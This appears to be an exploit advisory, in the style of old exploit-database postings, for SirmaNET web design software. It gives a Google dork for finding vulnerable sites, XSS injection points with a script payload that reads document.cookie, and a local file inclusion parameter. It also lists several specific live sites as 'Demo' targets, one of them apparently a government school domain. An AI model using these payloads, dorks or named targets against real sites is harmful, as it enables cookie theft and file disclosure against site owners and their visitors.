########################################################################################
#                                                                                      #
# Exploit Title : SirmaNET Web Design Multiple Vulnerabilities                         #
#                                                                                      #
# Author        : Secure-Land Security Team                                            #
#                                                                                      #
# Discovered By : farbodmahini                                                         #
#                                                                                      #
# Home          : Secure-Land.net                                                      #
#                                                                                      #
# Vendor        : www.sirmanet.com                                                     #
#                                                                                      #
# Contact       : farbodmahini@yahoo.fr , farbodmahini@gmail.com                       #
#                                                                                      #
# Security Risk : High                                                                 #
#                                                                                      #
#  DorK         : inurl:"index.php?sayfa=altmenu.php"                                  #
#                                                                                      #
#                                                                                      #
########################################################################################
#                                                                                      #
#  [XSS]:                                                                              #
#                                                                                      #
#  http://[TarGeT]/index.php?sayfa=altmenu.php&ustmenu=[XSS]                           #
#  http://[TarGeT]/index.php?sayfa=altmenu.php&baslik1=[XSS]                           #
#                                                                                      #
#  ~xss :                                                                              #
#                                                                                      #
#  “><script >alert(document.cookie)</script>                                          #
#                                                                                      #
#  [LFI] :                                                                             #
#                                                                                      #
#  http://[TarGeT]/index.php?sayfa=[LFI]                                               #
#                                                                                      #
#                                                                                      #
#  Demo :                                                                              #
#                                                                                      #
#  http://basaksehir.meb.gov.tr/index.php?sayfa=altmenu.php&ustmenu=[XSS]              #
#  http://www.yigitemlakfinans.com/index.php?sayfa=altmenu.php&baslik1=[XSS]           #
#  http://www.germanica.com.tr/index.php?sayfa=altmenu.php&ustmenu=[XSS]               #
#  www.yigitemlakfinans.com/index.php?sayfa=[LFI]                                      #
#                                                                                      #
########################################################################################
#                                                                                      #
#   Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us                                  #
#                                                                                      #
########################################################################################
#                                                                                      #
#   Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id              #
#                                                                                      #
########################################################################################